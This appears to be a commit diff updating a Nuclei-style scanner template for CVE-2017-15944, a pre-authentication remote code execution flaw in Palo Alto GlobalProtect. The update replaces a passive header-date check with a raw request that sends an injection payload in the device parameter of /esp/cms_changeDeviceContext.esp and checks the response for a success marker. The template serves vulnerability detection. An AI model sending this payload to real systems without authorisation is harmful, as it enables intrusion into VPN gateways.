Updated POC for CVE-2017-15944

cves/2017/CVE-2017-15944.yaml

@@ -2,22 +2,26 @@ id: CVE-2017-15944
 
 info:
   name: PreAuth RCE on Palo Alto GlobalProtect
-  author: emadshanab
+  author: emadshanab,milo2012
-  reference: http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
+  reference: |
+      - https://www.exploit-db.com/exploits/43342
+      - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
   severity: high
-  tags: cve,cve2017,rce,vpn,paloalto
+  tags: cve,cve2017,rce,vpn,paloalto,globalprotect
 
 requests:
-  - method: GET
+  - raw:
-    path:
+      - |
-      - "{{BaseURL}}/global-protect/portal/css/login.css"
+        GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: PHPSESSID={{randstr}};
 
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - "Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT"
+          - "@start@Success@end@"
-        part: header
+        part: body
 
       - type: status
         status: